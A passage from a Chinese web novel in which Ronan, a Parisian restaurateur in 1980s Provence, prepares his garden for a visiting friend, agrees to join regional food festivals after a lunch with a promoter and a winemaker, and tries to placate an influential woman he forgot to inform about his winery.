皮埃尔的加入让罗南对‘试验田’项目更加有信心了。 他脑海里的知识和推演能力、皮埃尔的宝贵经验、亨利的死心塌地成功概率大大的提升。 斯特斯加的业务先一步步入正轨,试验田项目也顺利的开启,没有太多需要费心的事情,罗南的日子又稳定了下来。 他和佐伊完成了婚房客厅和卧室的墙壁、顶部装饰,还抽空去阿维尼翁和马赛看了几次布艺沙发,室内的装修只差家具和一个卫生间了。 但随着4月中旬的来临,小情侣临时决定调换一下装修顺序,先把室外装饰一下。 “托尔去年复活节来的时候,非常喜欢待在院子里,这里有巴黎没有的大自然和新鲜空气,但那个时候我只能给他一把椅子,虽然去年做了专门的户外休息区,但每天来咱们家的人太多了,歌迪亚她们、农夫们还有斯特斯加的伙计.那里一定人满为患,托尔又不喜欢和陌生人待在一起,我们先给他准备一两个可以在后院独立休息的位置。” 托尔在一个月前匆匆赶来又匆匆离去,让罗南和佐伊心里非常不是个滋味。 尤其他给了小情侣一个毕生难忘的求婚仪式。 复活节还有两周就要来临,他们也希望为托尔做些什么,让他能有一次记忆深刻的普罗旺斯之旅。 在之前的装修计划里,佐伊本就希望在后院多增加一些可以休息的地方,随时都可以看到美丽的风景,现在只是借此机会把这件事提前了。 罗南在后院转了好几圈,以寻求几个好位置: “要远离房子,托尔喜欢安静,最好还能在树下,帮他挡住太阳,你知道的,现在白天的太阳已经很毒辣了,如果可以的话.我还希望让他一抬头就能看到美丽的吕贝隆山谷风景。” 罗南最近经常提起托尔,佐伊知道那一定是他非常重要的朋友,于是也跟着一起策划起来: “不要纯木质、石材和藤编的座椅,如果他喜欢亲近自然,坐的时间长了会不舒服,买一些防水材质的垫子或者靠枕放在上面,再做一些设计,就是我们去看沙发时,售货员给我们推荐的那些,把这些地方布置的舒舒服服的。” 罗南原地转了一圈,似乎在找东西: “还要考虑是否能安装灯等照明设施,白天和晚上都可以待在那里。” “晚上也在院子里吗?”佐伊提醒罗南,“你不是说,托尔来的那几天,你要每天给他做许多好吃的东西吗?吃饭还是在屋里吧,复活节期间的夜间温度不稳定,有的时候也挺冷的,还没到可以在户外吃饭的时候。” 普罗旺斯人喜欢户外,喜欢自然,只要条件允许,他们一定会在户外进食,不过4月底还不可以。 罗南笑着说: “托尔是小孩子脾气,有的时候想去干什么就一定要去做,如果他想在外面吃就顺着他吧。” 罗南还记得去年托尔坚持要去看采樱桃、拉都拉不回来的情形,为了去看采樱桃,他连最爱吃的糖奶油煎饼都不要了。 “你也太宠他了吧。”佐伊笑着说。 罗南赶紧过去亲了一下佐伊的脸颊: “我最宠的当然是你。” “汪汪汪——” 罗南和佐伊低头,发现是马赛仰着脑袋对他们表达着抗议。 马赛已经一岁了,但和小时候一样,依然是个‘心机男’,而且有愈演愈烈的趋势。 佐伊最近都待在罗南家弄装修,两只狗每天围着她转。 以前马赛求摸摸、求抱抱,罗天海和冯珍也会宠着,但做的比较表面,可喜欢动物的佐伊见马赛求关注是实打实的‘亲亲抱抱举高高’.时间一长,这小子得寸进尺了。 它大部分时间会和大哥小黑在院子里玩,可只要它去了人的身边,就必须得关注它或者狠狠的撸它一顿,如果做得不到位这小子就开始演戏。 绝食还是小事,有一天因为它找罗南求抱抱,罗南用腿把它挡开了,马赛装死装了好几个小时,躺在地上身子一动不动,摸起来都硬了把冯珍吓了个半死。 见马赛来求关注,佐伊蹲到地上,狠狠的揉了一顿它的脑袋: “马赛宝宝不气哦,我们最宠你了,给你和小黑也在院子布置一块区域怎么样?” 罗南皱着眉头说: “还宠它?都快给它宠坏了。” 佐伊赶紧做了一个嘘的手势: “它能听懂!” 罗南‘敷衍’的举起手: “好好好,我以后注意。” 佐伊拍了拍马赛的脑袋,小家伙立马跑走继续和小黑玩去了: “你别不信,马赛我不确定,但呼呼绝对能听懂人说的话,我发誓!” 听到这个名字,罗南更加‘头疼’了: “我们什么时候开始着手解决它和马赛的关系?” 佐伊突然露出狡诈的笑容,让罗南有了不好的预感。 “我认为,应该先解决你和呼呼的关系,当它认可你是主人后,马赛的问题也好解决了。”佐伊笑着说。 罗南警惕的问: “如何解决我和呼呼的问题?” 佐伊可爱的笑了两声,抿着嘴唇说: “我说了你不许生气。” 罗南紧张的说: “我不生气.但到底是什么?” 佐伊兴奋的挥了一下拳头: “我给你和呼呼报名了今年的山羊赛跑大赛,在那之前,你们必须要练习如何合作和‘人羊合一’,哎呀,你别那副表情嘛,不要担心呼呼的安全,呼呼那么聪明,即使最后一名也会跑掉,不会被吃的。” 罗南指着自己,用生无可恋的语气说: “我在担心我自己!” 佐伊憋着笑,跑去和两只小狗汇合: “不能骗‘小孩子’,你在这里找可以休息的地方,我去给两个宝宝找找哪里能给它们布置点什么好玩的东西,咱们今天下午先分头行动。” 罗南磨了佐伊一整个下午,晚上还给她做了一顿丰盛的海鲜大餐。 要知道4月份在吕贝隆已经不太好买海鲜了,那一桌子菜是满满的心意。 可即使这样,佐伊也没有改变心意。 她的理由是这样的: “我认为你一直在逃避和呼呼解决问题,是否能去参加比赛不重要,我只是希望能给你和呼呼创造一个可以接纳彼此的机会,即使只有十分钟也是一种进步.就试一下吧,行不行?” 佐伊都这样说了.罗南只能答应下来,开始着手准备6月份开始的山羊赛跑大赛。 罗南怎么也想不到,他居然要在普罗旺斯参加比赛了.而且是这种内容的。 这也太荒唐了吧? 不过让人意想不到的是,在6月的山羊赛跑大赛之前,罗南还有其他的比赛要参加。 某一天晚上,罗南突然接到了略伦特先生的电话。 这位普罗旺斯美食界的重要人物一上来就是给罗南赔礼道歉: “这一个月实在太忙了,答应去你的餐厅看一看,但一直到现在才有时间千万别介意啊罗南。” 大概一个月前,罗南和略伦特先生在尼斯狂欢节相遇。 当时略伦特主动邀请罗南参加普罗旺斯即将开始的美食活动,而且他还拒绝了罗南去戈尔德找他的提议,说回去后一定尽快去罗南的餐厅见面。 但这一个‘尽快’居然用了一个月的时间。 这位先生永远有忙不完的事情,他能想起罗南,罗南就‘谢天谢地’了,怎么会介意? 罗南语气愉悦的说: “怎么会介意呢,您能来已经是我莫大的荣幸了,我一定好好接待您。” 略伦特爽朗的笑了几声: “好,那我们明天中午卢尔马兰见,这里有一个非常适合你的美食活动想要邀请你——普罗旺斯第一届甜品大赛。” 作为想要把沃克吕兹省美食资源整合起来的男人,略伦特在‘吃’方面是罗南见过最专业的人。 他像是一本普罗旺斯美食活字典一样,对美食、餐厅和食物的吃法有着过人的阅历。 为了给略伦特的初次到访留下一个好印象,许久没有进过后厨的罗南亲自去盯着了。 上午10点30分。 伊莎贝尔来后厨找罗南,说两位穿着非常正式的先生来了,问其中是不是有罗南说的那位重要人物。 “两位?那肯定不是,罗南说只有一个朋友会来。”后厨的人先一步替罗南回答了。 罗南洗了个手,笑着说: “不一定,我这位朋友从不做‘无用功’。” 以略伦特的性格,这次卢尔马兰之行极有可能要达成不止一个目的,他会带其他人来太正常不过。 说不定罗南也成一道‘菜’了。 罗南是因为了解略伦特的性格,所以能猜出他有可能带来多几个人,但伊莎贝尔又是如何判断的呢? “你为什么觉得那其中有可能会有我的朋友?”罗南问伊莎贝尔。 伊莎贝尔忽闪着水灵灵的大眼睛说: “首先是因为他们的穿着一看就是有钱人,那符合你朋友的特征,其次,这两个人坐下后看的不是菜单,而是餐厅的装修风格和布置,还口中念念有词,一点都不像是来吃饭的,虽然咱们餐厅来过许多厉害的人物,但他们还是拿这里当吃饭的地方,而不是审视这里.他们的气质看起来也不是艺术家,所以大概率是你说的重要人物。” 罗南撇了撇嘴。 可怜的维埃里,你以后千万不要做出什么隐瞒伊莎贝尔的事情,这个女孩太机灵了。 罗南跟随伊莎贝尔来到前厅,果然看到了西装革履的略伦特,而他身边还跟着一位很斯文的年轻男人。 略伦特非常自然的给两位引荐: “这位是罗南,罗南我就不用过多介绍了吧?” “久仰大名。”那位斯文男人礼貌的伸出右手,“伯纳德。” 罗南错愕了一下,也伸出右手: “幸会。” 罗南的同款表情转移到了伯纳德的脸上。 两个人互视了一秒后,同时笑着问对方: “你也是巴黎人?” “太有缘了,你们居然是老乡!”略伦特指着伯纳德继续给罗南介绍,“伯纳德在教皇新堡开了一家酒庄,在普罗旺斯高端酒领域非常有名。” 罗南更加错愕了。 巴黎佬、开酒庄、高端市场. 终于让我遇到你们了啊,排外的巴黎新酒农! 第421章 这是餐厅还是博物馆? 罗南非常重视略伦特的这次到访。 希望当略伦特和其他人聊起普罗旺斯的美食和餐厅时,也会偶尔提起他的餐厅,讲这里的菜品、讲这里的甜品或者是这里的环境.无论讲什么,都是一种肯定。 可惜的是,略伦特更加把罗南当作一位艺术家来对待,而不是餐厅老板。 两位来宾并没有看菜单,客气的让罗南来安排。 罗南刚把餐品安排好,略伦特马上开始讲正事。 “伯纳德以藏家的身份也参与了2月份戈尔德的系列活动,他对你的艺术风格印象深刻。”略伦特尽职尽责介绍初次见面的双方尽快熟悉起来。 伯纳德笑着对罗南说: “事实上,我们也想参与‘相思鸟’的竞拍,不过诺曼德馆长提前联系了我们,希望让我们退出竞争.” 罗南敏锐的察觉到诺伯纳德使用的是‘我们’而不是我,这更加坚定了他的判断——伯纳德是巴黎新酒农的一员,他们以‘新时代酒庄联盟’的身份参与了2月戈尔德的大地艺术系列活动。 “未来一定还会有机会。”罗南礼貌的说。 “机会马上就要来了。”略伦特笑给罗南解释,“普罗旺斯在4-9月间会举办许多围绕美食的活动,正好伯纳德对普罗旺斯第一届甜品大赛感兴趣,为什么不借此机会合作一次呢?” 哦,原来是想用我拉赞助.罗南在心中腹诽起来。 在信息并不发达的80年代,地方酒庄是各种大型活动最重要的赞助群体。 艺术活动中有他们的身影,文化活动中有他们的身影,就连尼斯狂欢节这样的国际性质活动,也会有酒商赞助。 伯纳德笑着说: “我们生产的干白有一种独特的坚果香气,非常适合配合甜品饮用尤其是‘高级’甜品。” 略伦特心有灵犀的给罗南‘翻译’道: “你不仅是普罗旺斯今年最亮眼的新人艺术家,还是甜品的代名词,很多人一见到你的名字就会联想到‘相思鸟’和‘希望’这两个甜品,如果你能来参加这次活动——” 略伦特突然看向一脸真挚的伯纳德: “如果你能来参加活动,伯纳德愿意为此支付一些费用。” 组委会是你们,出场费却让赞助商出,果然是精明的略伦特罗南继续腹诽。 罗南深知‘拿人手短’的道理,拿了这个出场费,指不定要配合着伯纳德做什么呢。 而且拿钱办事有违他艺术家的身份,他本就想要通过美食活动为餐厅做宣传,即使不给钱,只要合适该去一定会去。 “这是一个比赛?” 主办单位负责人略伦特给罗南解释道: “甜品大赛和其他活动性质不太相同,虽然说是‘比赛’,但竞争属性并不重,是为了帮助艾克斯打造‘甜品之乡’组织的一场盛会,届时普罗旺斯美食协会会邀请美食界、艺术界、文化界等各个领域的精英参与到其中,活动期间预估可以吸引游客超过35万人次,你不需要担心那会有违你艺术家的身份,这场活动只会帮助你认识更多朋友并加固你在普罗旺斯的影响力。” 居然是为了帮助艾克斯打造‘甜品之乡’组织的活动,略伦特的涉猎范围真广啊罗南止不住的腹诽。 “是以个人的名义参加,还是餐厅的名义?你们打算邀请多少人?”罗南继续问。 略伦特露出了自信的笑容: “之所以拖了这么久才来见你,也是因为我想要一次就把你请来啊罗南,在过去的一个月中,普罗旺斯美食联盟已经邀请来了50多组餐厅和个人,他们都是普罗旺斯美食界中的佼佼者,不过你不要担心,我可以保证,你在活动中的‘风头’是最盛的那一个。” 罗南停顿了一下,似乎在思考,之后继续问: “参与的具体形式是怎样的?” 略伦特反问罗南: “还记得去年的面包大赛吗?” “当然记得。”罗南露出了笑容,“我和您第一次见面就是在梅纳村的面包大赛上。” 略伦特点点头: “甜品大赛只有面包大赛后面的‘展示’部分,即各个单位在现场展示自己最强的单品,可以试吃,也可以直接售卖,没有前面的评委评选部分,所谓的‘比赛’是让试吃过的观众选出他们心中最喜欢的前几位。” 罗南面色一喜: “可以在现场有一个小小的展示区?” 去年面包大赛时,罗南和佐伊去现场吃了许多种面包,他当即就被种草了好几种,可见这种形式的转化率还是非常高的。 略伦特笑着看了一眼伯纳德,才回答罗南: “我猜,如果你来参加,那将会是一个大大的展区。” 罗南忍住激动的心情,装模作样的沉思了几秒才开口: “抱歉,我来普罗旺斯的时间不长,对这里的美食活动不够了解,参与的也不多.我想问一下,这个第一届甜品大赛在普罗旺斯美食活动中属于什么水平?和他类似的活动还有哪些?” 略伦特开心的拍了下桌子。 罗南这个问题问的妙啊! 又有机会给伯纳德‘洗脑’了 “普罗旺斯的美食活动分为两大类,一种是地方性质的,一种是以‘美食内容’为载体举办的,这样讲可能有些抽象,我给你举几个例子,在甜瓜之都卡瓦永举办的甜瓜美食节、橄榄油重要产区尼永举办的橄榄油盲品大赛、在马赛举办的马赛鱼汤世界冠军赛、尼斯举办的尼斯沙拉奥林匹克等活动,背后除了有我们普罗旺斯美食协会,还会有各地政府的支持,这一类属于一级活动,无论是参与者还是赞助商都需要准入门槛,但相应的回报也很巨大,可以吸引的游客数量至少有20万人次。” “第二种活动是由各个分支机构或者品牌方举办的,例如在巴农举办的山羊奶酪滚球赛、在阿维尼翁举办的陶罐料理大赛、圣特罗佩举办的葡萄酒侍酒师对决、艾克斯举办的茴香酒速饮赛、在洛特克举办的大蒜辫编织大赛、瓦朗索勒举办的薰衣草蜂蜜吐司叠叠乐等,根据主办方规模不同、参与游客数量不同被划分为二到五级不等。” 说完略伦特期待的看向罗南,罗南识趣的赶紧开口问道: “那这个甜品大赛属于几级活动?” 略伦特爽朗的大笑起来: “当然是一级了,艾克斯希望巩固游客心中其‘甜品之都’的名字,特意让我们为它策划了这个活动,政府的支持非常给力,他们保证在活动开始前半个月就在各个重要地标场所为其宣传,如果不是一级活动我也不会来邀请你啊.那无法匹配你的身份。” 罗南满意的点了点头,似乎被论略特所说服了,继而问道: “这些活动的形式都是一样的吗?我的意思是,它们都可以有展示区域吗?” “哦,那不是的——”略伦特回忆了一下,“只有梅纳村的面包大赛、阿维尼翁举办的陶罐料理大赛等几个活动可以有现场展示区,其他活动的形式各异。” 现在换做罗南期待的看向略伦特了: “梅纳村的面包大赛和阿维尼翁举办的陶罐料理大赛我也可以参加吗?” 既然能以餐厅的名义参加,那肯定是多多的报名啊。 即使罗南没时间去,让罗天海带着人去也行! 去年面包大赛的盛况罗南还记在心里,那个在梅纳村集市附近举办的活动把本就火热的梅纳村集市带动的更加热闹了。 这就是罗南想要的活动! 可以让餐厅拥有更多曝光机会的活动!! 伯纳德惊喜的‘咦’了一声。 罗南居然对那么多活动都感兴趣? 略伦特惊吓的‘啊’了一声。 罗南怎么对这么多活动都感兴趣? 你一个开中餐厅的次次‘保’你出尽风头,我很为难啊! 这个时候恰巧有服务员来上菜。 罗南指了指桌子上的菜: “边吃边说,凉了就不好吃了。” 略伦特低头看了一眼,表情更加难看了。 摆盘居然意外的不错.很有法餐的风格。 伯纳德指着他面前用小圆肚陶坛盛放的深褐色食物问: “这道菜是?” 罗南给他介绍: “东坡肉。” 伯纳德没有第一时间去吃东坡肉,而是仔细端详起了盛放东坡肉的圆肚陶坛: “这个器具真好看。” 伯纳德认为这个餐具有一种别样的美感。 罗南露出幸福的笑容: “是佐伊烧的。” 伯纳德不敢置信的问: “佐伊亲手烧制的?” 伯纳德热衷于收藏藏品,也很了解普罗旺斯艺术市场,否则不会跟着略伦特来见罗南。 他很早前就对略伦特表态了——只要罗南能来这个甜品活动,不管多少钱我都赞助! 佐伊的艺术品在二级市场上已经炒出了天价,连她早期的那些器具作品现在都能卖到5位数。 这种宝贝不放到展示柜存起来,你居然真拿它当器具用? 罗南平静的说: “当然是她亲手烧制的,佐伊没有助理,哎,辛苦她了,在餐厅开业前自己一个人烧了六七炉,有几百个盘子和杯子。” 伯纳德彻底不淡定了,警惕的大量起四周。 对艺术熟悉的人都知道,佐伊擅长烧制玻璃和陶瓷,罗南开了一个编织类型的手工艺合作社 这里的编织椅子、编织灯、盘子和碗不会都是艺术品吧? 这里到底是餐厅还是博物馆! 在伯纳德吃惊于自己居然坐在一所博物馆里吃饭的同时,略伦特也完成了三道菜的试吃。 他收敛起那副‘见人说人话、见鬼说鬼话’的圆滑样子,认真的问罗南: “我可以看看菜单吗?” 这家餐厅食物做的很有水平。 摆盘高级,食物的味道更加高级,虽然是异域美食,但居然吃不出任何‘突兀’感,甚至还想多尝几道别的。 “当然可以。”罗南起身去拿菜单,“不过我这里的菜量比较大,点太多就浪费了。” 略伦特仔仔细细的回味着口腔里的味道,突然,他绽放出了一个巨大的笑容,用无比热情的语气说: “没关系,那我就多来几次。” 之前他只是想利用罗南,现在他改主意了这个人值得让他‘结识’。 第422章 危险危险危险! 餐厅里的陈设和器具征服了热衷于艺术的伯纳德。 餐厅里的食物征服了想要把全部优质美食资源整合到自己手里的略伦特。 略伦特一改刚刚的态度,积极的推动罗南背后的餐厅多去参加一些普罗旺斯的美食活动,并给出了许多优质中肯的建议。 罗南也热情的回应了略伦特一个又一个邀请。 在一旁的伯纳德要急死了。 喂喂喂,我还在呢,你们说别的活动干什么,说重要的甜品大赛啊。 避而不谈这个活动.难道罗南只对其他的活动感兴趣,在‘婉拒’吗? 很快,服务员在每个人面前放下一份甜品。 见到面前的‘希望’,伯纳德小声感叹了一句: “终于见到你了.” 2月份伯纳德去戈尔德的时间晚,遗憾的和‘希望’擦身而过,只见到过照片。 今天终于解决了这桩憾事。 看着面前的‘希望’,又想起业内对罗南的各种积极的评价,伯纳德既坚定又真挚的说: “我真的很想和你合作成功,如果你能出席艾克斯第一届甜品大赛,我将会单独支付给你一笔费用,并承诺报销你团队5月份去艾克斯的所有交通和住宿,希望你能认真考虑一下,罗南先生。” 精明的略伦特笑着撇了下嘴。 罗南非常在意餐厅的曝光,问的活动全部是有展示区域的,因此甜品大赛他一定会去参加.伯纳德怎么还傻乎乎的去送钱呢? 不过这样也好,他就喜欢这种‘不太聪明’的客户。 略伦特正好可以借此机会再刷一波双方的好感度,在略伦特看来,罗南也属于不太聪明的那类人。 他装作为难的对罗南说: “伯纳德非常诚心的想要邀请你合作,你不知道他有多喜欢和尊重你,这个我完全可以作证,你看这样可不可以.我会协调艾克斯政府给你更多的曝光机会,并努力让你拿下那个甜品比赛的第一名,比赛嘛,当然要分个胜负。” 暗箱操作不是什么令人乍舌的秘密,伯纳德只觉得略伦特是在帮着他一起努力。 而且罗南这种艺术家都去了,第一名当然得是他了! 罗南先是笑着拍了拍略伦特的胳膊: “不用不用,名次全靠本事,你不用为难。” 随后,他又拍了拍伯纳德的胳膊: “钱也不用给。” 伯纳德拿不定主意的问: “那你——” 罗南端起酒杯敬这两个人: “为了交你们这两个朋友,我一定会去,今天和你们聊的太开心了。” 伯纳德兴奋的端起酒杯和他碰到一起: “你这个朋友我交定了!” 略伦特做出一副‘终于圆满了’的开心表情,实则心里惊讶极了。 没想到罗南也是个‘人情世故’的高手啊。 他也在这刷好感度呢? 只不过他一时间看不透罗南想要收获伯纳德信任的原因。 罗南未来有需要伯纳德帮助的地方吗? 略伦特和伯纳德在罗南的餐厅里待到下午3点多才离开,友谊突飞猛进。 走之前,罗南和略伦特交换了联系方式,并约定一定要多联系。 “都是巴黎老乡,一定会多多联系的。”罗南笑着把他们送出餐厅。 伯纳德想了一下: “如果有机会,你来教皇新堡,我介绍你给其他来自巴黎的朋友认识,我们都是从巴黎搬到普罗旺斯做酒相关生意的。” 罗南等的就是这句话,欣然接受下来: “好,月底我就会去教皇新堡办事,去之前我联系你。” 送走了两位贵宾,罗南开心的返回餐厅。 这一天办了两件大事。 一个是终于和他找了好久的巴黎新酒农有了联系,未来经营斯特斯加很有可能要找他们取经。 相信凭借自己的巴黎人身份、在普罗旺斯取得的成就和伯纳德的帮助,混进那个圈子还是有不小可能。 第二件大事是参与了好几个重要的曝光活动,有了这些美食活动助力,罗南相信餐厅一定会经营的越来越好,距离雅克先生那个一年四季都排队的餐厅不会太远了。 想到这里,罗南笑容满面的对一个刚刚带游客参观完葡萄园,来餐厅休息的酒庄伙计说: “马伦,去通知亨利他们,今天干完活来餐厅吃饭,我请。” “好嘞!”马伦兴奋的跳起来,“我马上去通知大伙儿。” 在斯特斯加干活真好啊,老板靠谱、薪资美丽、还总有免费的酒喝、饭吃。 安排完聚餐的事,罗南把罗天海约到了二楼,和他讲今年已确定下来的餐厅要去参加的那些美食活动。 “4月底梅纳村的面包大赛、5月份艾克斯的甜品大赛、6月份阿维尼翁举办的陶罐料理大赛、7月份阿尔勒的香肠特色烹饪大赛和8月份在圣特罗佩举办的烹饪大赛我们都可以参加一下,人手够吗?”罗南问父亲罗天海。 略伦特说,有些活动要持续半个月之久,罗南担心参加活动会影响餐厅的正常经营。 罗天海想了一下: “应该够,现在人手富裕了,而且这种活动主要还是我、莉亚和你去参加,不耽误餐厅里的事,你能去参加哪个?” 罗南的时间并不固定,说不会突然被其他事情牵扯走了精力,罗天海要提前做好准备。 罗南平摊双手: “我只能保证甜品大赛会努力跟全程,其他的能去露个脸。” 参加这些活动是为了给餐厅带来曝光度,但罗南在那里耗着意义不大,他的时间应该用来做其他更有意义的事。 罗天海先是点了点头,表示心里有数了,随后又突然摇了摇头: “面包大赛你最好也参与一下,这将是咱们餐厅在普罗旺斯美食活动上第一次亮相,还是非常重要的,尤其我不懂面包,莉亚的特长在蛋糕和甜品上,参加起来恐怕比较吃力。” 罗南只是短暂的思考了一下便答应下来: “可以,那我带着托尔一起去。” 有脑海里的菜谱,罗南不怕做面包。 只是面包大赛正好在复活节前后,罗南怕自己去参赛了,会影响他带托尔游玩。 不过他突然想到,去年托尔在他家住的那几天,每顿饭都会认真的烹饪,求婚那天听说托尔也一直在厨房里帮忙.说不定托尔能在面包大赛上玩的挺开心? “托尔什么时候来?”不止罗南和佐伊期待托尔的到来,冯珍和罗天海也很感激罗南的这个朋友。 罗南笑着说: “复活节前两天到,托尔请假了。” 也许期待见面的不只是罗南一家人 托尔也是。 罗天海背着手走下楼: “我提前订好海鲜,要最好和最新鲜的。” 罗南跟着父亲下楼,碰到了小胖子康奈尔。 康奈尔见罗南出现,大步流星的跑过来。 罗南意外的问康奈尔: “你怎么来了?下午不是还有一场讲解吗?你别着急啊,我们一定等你到了才吃。” 康奈尔白净的脸上出现了不自然的潮红,他着急的对罗南说: “那位女士来了!” 罗南开玩笑的说: “你和巴蒂不相上下,我哪里知道你说的是哪位女士?” 康奈尔和巴蒂都对女士有着异于常人的热情,但两个人的表现不同。 巴蒂是主动型,别管对方多反感,他一定会主动贴上去。 康奈尔属于‘闷骚’型,见到喜欢的女孩什么都不敢做,人家一离开,他便开始唉声叹气,感慨又错失了爱情。 康奈尔用力拍了几下自己的胳膊: “那位喜欢打人的女士,就是我心心念念的那位!” 罗南没有心情再开玩笑了,一下子紧张起来: “你在哪儿看到她的?” 康奈尔指身后: “粉红酒博物馆啊,我上班的时候不能出去。” “她现在还在吗?”罗南快步走出去,想到什么,突然一个刹车,停下来问康奈尔,“你没告诉她斯特斯加和我有关吧?” 罗南接手斯特斯加的事还没有和协会里的人说。 刚开始他是想等斯特斯加在卢尔马兰发展起来后再说,后来是太忙了,忙忘了。 如果猜测没有错,阿斯特丽德在得知罗南‘错失’斯特斯加后,偷偷帮了他们一把。 这更加证明这位女士‘手眼通天’了,她连政府的预算数字都能影响! 如果被这样的大人物发现.原来罗南买到了斯特斯加,她会如何想? 上帝,那后果不堪设想! 康奈尔‘傻白甜’的说: “说了呀,不过是她问我的,怕她也把你忘了,我还特意加了一句,你去罗南家吃过饭呢。” 罗南咬着后槽牙说: “我真是谢谢你,她可能下辈子都不会忘记我了!” 罗南用百米冲刺的速度跑到粉红酒博物馆,进去之前他特意往脸上和身上撒了一把水,模拟非常‘忙碌’和‘辛苦’的样子,为一会儿解释做铺垫。 奈何一见到正主,冷汗立即唰唰唰的流下来,根本不用装。 穿着香槟色名贵套裙和贵族礼貌的阿斯特丽德对罗南露出了他们认识以来最‘灿烂’的笑容。 那笑容让罗南感觉无比危险! 罗南紧张的咽了一下口水: “您千万别生气.听我说。” 第423章 嘶.......闹鬼了? “我为什么会生气?”阿斯特丽德带着危险的笑容反问。 罗南努力不去看那双压迫感十足的眼睛,压低声音回: “这其中出了一些小小的变故,我应该第一时间通知您。” 阿斯特丽德脱掉手套,摸了摸面前细长的粉红酒瓶,微笑着问: “我和你有这么熟吗?” 罗南暗道一声糟糕。 这位女士是真生气了! 他讨好的说: “您参观完了吗?这里距离我的餐厅不远,我请您喝几杯。” 阿斯特丽德能影响旅游局给卢尔马兰的拨款金额,就一定能影响其他事情。 伊内斯很明确的说过,阿斯特丽德有能力改变粉红酒在普罗旺斯的现状. 她应该是罗南在普罗旺斯接触到的最高级别的人物。 如果这次的误会不解除,未来会少了一个很强大的靠山。 “不了。”阿斯特丽德收回手指,整理了一下自己的帽子,冷漠的看向前方,“我要离开了。” 康奈尔被那双纤细白净的手指迷失了心智,帮助罗南一起挽留: “现在外面挺热的,您可以休息一下再回去。” 阿斯特丽德突然瞪向康奈尔,冷声质问: “这里是讲解区吗?” 罗南尴尬的摸了几下额头。 可怜的康奈尔.该主动的时候你不主动,怎么总是在不该主动的人和时机上主动啊。 阿斯特丽德像利剑一样的眼神终于把康奈尔‘射’醒。 好漂亮的手指、好美丽的女士、好迷人的气质.康奈尔的脸更红了。 随即他娇羞的离开了这片区域: “哦,对对对,我还有工作,先走了。” 见阿斯特丽德果然往出口的方向走,罗南默默跟在后面: “那我送您。” 阿斯特丽德没有回头,径直走向前方: “不用浪费时间。” 罗南保持着适当的距离,不过他确信自己的嗓音可以让前方的女士听到: “其实是这样的,我也不知道订下斯特斯加的人是——” “我没有生气。”阿斯特丽德突然停下来,看向身后,“你利用伊内斯打响名声,利用朱莉特获取资源,现在只是把我也利用上了.借势和借利是我教你的,我有什么理由生气呢?” 她又露出意味不明的奇怪笑容: “我应该夸你做的很好。” 罗南看不透阿斯特丽德的真实情绪,对方也不想给他解释的机会此时此刻,他只能认真的保证: “我一定会把斯特斯加运营的更好、把粉红酒带去更多的地方我向您发誓。” 阿斯特丽德不让罗南跟着,罗南便乖乖的离开。 这位女士的性格绝不是靠‘坚持’就能有所收获的,执意跟在身后只会适得其反。 “哎,只能找机会慢慢修复关系了。”罗南如是想着。 返回餐厅的路上,罗南遇到了希尔维和朱莉特,当然了,还有努力想要和朱莉特攀附上关系的几个农夫。 卢尔马兰的农夫们和皮埃尔一样,也都希望能和这位农业部的官员熟络起来每次朱莉特离开政府大楼,周围一定会跟着好几个‘挂件’。 只是那些挂件往往会被无视罢了。 不过罗南还从村民嘴里听到一个消息——朱莉特似乎对卢尔马兰的官员们也不是很热情,布兰科除外。 好几位官员回家都和家人抱怨过,说这位沃克吕兹省农业部的重要人物格外的不好说话。 罗南距离对面的一行人二十米远,就听到了农夫们讲的那些尴尬的笑话,而回应他们的只有更加尴尬的希尔维。 见到罗南,希尔维终于抓到‘救命稻草’,热情的问: “去博物馆了?” 她看着罗南从博物馆的台阶上走下来的。 罗南点头: “对,来了个朋友。” 朱莉特依然是那副样子,在外人面前和罗南点了个头就算是打过招呼。 不过在两人错身之时,罗南突然把朱莉特叫住: “你有时间吗?我有事情想要和你聊一下。” 朱莉特只是稍微思考了一秒,便跟着罗南去到了不远处树荫下。 希尔维站在大马路上,羡慕的看向罗南和朱莉特的方向: “还得是罗南啊.一叫就走。” 朱莉特平时对她可不是这样。 周围的几个农夫‘得意’的说: “那是当然,那可是罗南,卢尔马兰最厉害的男人!” 罗南和皮埃尔一样,心里永远放着这些兄弟们,罗南能和农业部搞好关系,就等于全卢尔马兰的农夫们都和农业部搞好关系了。 希尔维不由得前倾了一下脖子,又眯起了眼睛,似乎想要努力看清什么。 她小声嘟囔: “卢尔马兰最厉害的男人怎么是那副表情的?” “帮帮我,快帮帮我,阿斯特丽德生气了!”罗南用祈求的语气对朱莉特说,“我忘记告诉她,斯特斯加在我手上的事情了。” 朱莉特双手抱胸,一副教育人的严肃样子: “你居然没有告诉伊内斯,也没有告诉阿斯特丽德?这么重要的事情怎么能忘了呢?” 罗南后悔的说: “最近伊内斯又没有组织聚会,我想等下一次聚会的时候说啊。” 朱莉特深深叹了一口气: “怎么被发现的?” 但想要解决问题,需要先知道问题是怎么出的。 罗南指着身后的粉红酒博物馆说: “阿斯特丽德来这里参观了,就在刚刚。” 朱莉特猛的回头看过去,一脸紧张: “阿斯特丽德来卢尔马兰了?几个人?身边有其他人吗?” 罗南摇头: “只有她自己,不过刚刚离开了,算算时间现在可能已经到停车场。” 朱莉特的眼睛又瞪大了几分,用‘你疯了吗’的语气问罗南: “她自己一个人,你居然没有送一送她?” 罗南无辜的说: “她不让我送。” “你是不是傻啊,这么好的机会居然都能错过吗。”朱莉特踩着近10厘米的高跟鞋,哐哐哐哐的奔跑起来,“她去哪个停车场了?” 远处,希尔维和农夫们的表情比朱莉特还要惊讶。 什么情况? 罗南跟那位农业部的官员说什么了? 她怎么紧张成那副样子了?? 罗南不知道阿斯特丽德把车停到了哪里,朱莉特自然扑了空。 待她失望的返回时,罗南还在原地等她: “没找到她的那辆跑车吗?” 找不到人自然要找车,阿斯特丽德每次参加聚会开的都是同一辆。 朱莉特顾不上身份,上气不接下气的说: “聚会是个人行为,来博物馆就不一样了,也许今天有司机送她总之没找到。” 罗南自认为和朱莉特足够熟悉,熟悉到可以说一些‘秘密’了。 他走近了一些,压低声音问朱莉特: “你知道阿斯特丽德的身份对不对?” 罗南总觉得阿斯特丽德的身份不仅仅是福克斯家族后裔那么简单,她一定有更加炸裂的隐藏身份! 朱莉特狠狠的白了罗南一眼: “别想从我嘴里问出任何一个字母,那不是你该知道的,你只需要记住,阿斯特丽德是你和我一辈子都高攀不上的那种人就对了。” 罗南无声叹气。 既然这么厉害,就更不能和她有‘误会’啊。 “怎么办呢?”罗南摸着下巴陷入了沉思之中。 罗南恢复摆摊有小半个月的时间了。 